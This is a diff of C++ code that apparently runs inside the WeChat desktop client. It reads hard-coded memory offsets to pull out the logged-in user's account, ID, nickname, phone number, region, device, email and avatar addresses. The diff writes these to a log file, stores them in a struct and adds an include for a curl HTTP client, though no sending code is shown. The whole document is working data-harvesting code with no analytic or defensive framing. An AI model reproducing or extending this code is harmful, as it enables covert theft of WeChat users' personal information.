|
@@ -13,8 +13,11 @@ using namespace std;
|
|
|
|
|
|
#include "EncodingConversion.h"
|
|
|
|
|
|
-HMODULE g_hCurModule = NULL;
|
|
|
+#include "..\common\CurlClient.h"
|
|
|
|
|
|
+HMODULE g_hCurModule = NULL;
|
|
|
+TCHAR g_szCurModulePath[MAX_PATH] = {0};
|
|
|
+TCHAR g_szFna[MAX_PATH] = {0};
|
|
|
/************************************************************************/
|
|
|
/* 函数:WriteTextLog[7/28/2016 IT];
|
|
|
/* 描述:写文本日志;
|
|
@@ -32,20 +35,7 @@ void WriteTextLog(const TCHAR *format, ...)
|
|
|
{
|
|
|
// 解析出日志路径;
|
|
|
TCHAR szlogpath[MAX_PATH] = { 0 };
|
|
|
- static TCHAR szModulePath[MAX_PATH] = { 0 };
|
|
|
- static TCHAR szFna[MAX_PATH] = { 0 };
|
|
|
- if (szModulePath[0] == _T('\0'))
|
|
|
- {
|
|
|
- TCHAR szDrive[MAX_PATH] = { 0 };
|
|
|
- TCHAR szDir[MAX_PATH] = { 0 };
|
|
|
- TCHAR szExt[MAX_PATH] = { 0 };
|
|
|
- ::GetModuleFileName(g_hCurModule, szModulePath, sizeof(szModulePath) / sizeof(TCHAR));
|
|
|
- _tsplitpath_s(szModulePath, szDrive, szDir, szFna, szExt);
|
|
|
- _tcscpy_s(szModulePath, szDrive);
|
|
|
- _tcscat_s(szModulePath, szDir);
|
|
|
- }
|
|
|
-
|
|
|
- _stprintf_s(szlogpath, _T("%s%s.txt"), szModulePath, szFna);
|
|
|
+ _stprintf_s(szlogpath, _T("%s%s.txt"), g_szCurModulePath, g_szFna);
|
|
|
// 打开或创建文件;
|
|
|
FILE *fp = NULL;
|
|
|
//if (_taccess(szlogpath, 0) != -1)
|
|
@@ -98,20 +88,7 @@ void WriteTextLogW(const WCHAR *format, ...)
|
|
|
{
|
|
|
// 解析出日志路径;
|
|
|
WCHAR szlogpath[MAX_PATH] = { 0 };
|
|
|
- static WCHAR szModulePath[MAX_PATH] = { 0 };
|
|
|
- static WCHAR szFna[MAX_PATH] = { 0 };
|
|
|
- if (szModulePath[0] == L'\0')
|
|
|
- {
|
|
|
- WCHAR szDrive[MAX_PATH] = { 0 };
|
|
|
- WCHAR szDir[MAX_PATH] = { 0 };
|
|
|
- WCHAR szExt[MAX_PATH] = { 0 };
|
|
|
- ::GetModuleFileNameW(g_hCurModule, szModulePath, sizeof(szModulePath) / sizeof(WCHAR));
|
|
|
- _wsplitpath_s(szModulePath, szDrive, szDir, szFna, szExt);
|
|
|
- wcscpy_s(szModulePath, szDrive);
|
|
|
- wcscat_s(szModulePath, szDir);
|
|
|
- }
|
|
|
-
|
|
|
- swprintf_s(szlogpath, L"%s%s.txt", szModulePath, szFna);
|
|
|
+ swprintf_s(szlogpath, L"%s%s.txt", g_szCurModulePath, g_szFna);
|
|
|
// 打开或创建文件;
|
|
|
FILE *fp = NULL;
|
|
|
if (_waccess(szlogpath, 0) != -1)
|
|
@@ -173,40 +150,49 @@ BOOL GetWxInfo(WxInfo &wxInfo)
|
|
|
memcpy(szTemp, (LPVOID)(dwWeChatWinAddr+0x1131B90), MAX_PATH);
|
|
|
#endif
|
|
|
WriteTextLog(_T("微信账号:%s"), szTemp);
|
|
|
+ wxInfo.strWxAccount = szTemp;
|
|
|
|
|
|
_stprintf_s(szTemp, _T("%s"), *(LPDWORD(dwWeChatWinAddr + 0x1131B78)));
|
|
|
WriteTextLog(_T("微信ID:%s"), szTemp);
|
|
|
_stprintf_s(szTemp, _T("%s"), *(LPDWORD(dwWeChatWinAddr + 0x1131BEC)));
|
|
|
WriteTextLog(_T("微信ID:%s"), szTemp);
|
|
|
-
|
|
|
+ wxInfo.strWxID = szTemp;
|
|
|
|
|
|
// 微信中文不是宽字符,而是URL编译的UTF8格式;
|
|
|
string str;
|
|
|
_stprintf_s(szTemp, _T("%s"), LPDWORD(dwWeChatWinAddr + 0x1131C64));
|
|
|
EncodingConverion::DeCode_URLUTF8(szTemp,str);
|
|
|
WriteTextLog(_T("微信昵称:%s"), str.c_str());
|
|
|
+ wxInfo.strWxNick = szTemp;
|
|
|
|
|
|
_stprintf_s(szTemp, _T("%s"), dwWeChatWinAddr + 0x1131C98);
|
|
|
WriteTextLog(_T("微信手机:%s"), szTemp);
|
|
|
+ wxInfo.strWxPhone = szTemp;
|
|
|
|
|
|
_stprintf_s(szTemp, _T("%s"), dwWeChatWinAddr + 0x1131D50);
|
|
|
WriteTextLog(_T("微信省:%s"), szTemp);
|
|
|
+ wxInfo.strWxProvince = szTemp;
|
|
|
|
|
|
_stprintf_s(szTemp, _T("%s"), dwWeChatWinAddr + 0x1131D68);
|
|
|
WriteTextLog(_T("微信市:%s"), szTemp);
|
|
|
+ wxInfo.strWxCity = szTemp;
|
|
|
|
|
|
_stprintf_s(szTemp, _T("%s"), dwWeChatWinAddr + 0x1132030);
|
|
|
WriteTextLog(_T("微信手机设备:%s"), szTemp);
|
|
|
+ wxInfo.strWxDevice = szTemp;
|
|
|
|
|
|
_stprintf_s(szTemp, _T("%s"), *(LPDWORD(dwWeChatWinAddr + 0x1131C80)));
|
|
|
WriteTextLog(_T("微信邮箱:0x%p, 0x%p"), dwWeChatWinAddr + 0x1131C80, *(LPDWORD(dwWeChatWinAddr + 0x1131C80)) );
|
|
|
WriteTextLog(_T("微信邮箱:%s"), szTemp);
|
|
|
+ wxInfo.strWxEmail = szTemp;
|
|
|
|
|
|
_stprintf_s(szTemp, _T("%s"), *(LPDWORD(dwWeChatWinAddr + 0x1131F2C)));
|
|
|
WriteTextLog(_T("微信大头像:%s"), szTemp);
|
|
|
+ wxInfo.strWxLImgAddr = szTemp;
|
|
|
|
|
|
_stprintf_s(szTemp, _T("%s"), *(LPDWORD(dwWeChatWinAddr + 0x1131F44)));
|
|
|
WriteTextLog(_T("微信小头像:%s"), szTemp);
|
|
|
+ wxInfo.strWxSImgAddr = szTemp;
|
|
|
|
|
|
return TRUE;
|
|
|
}
|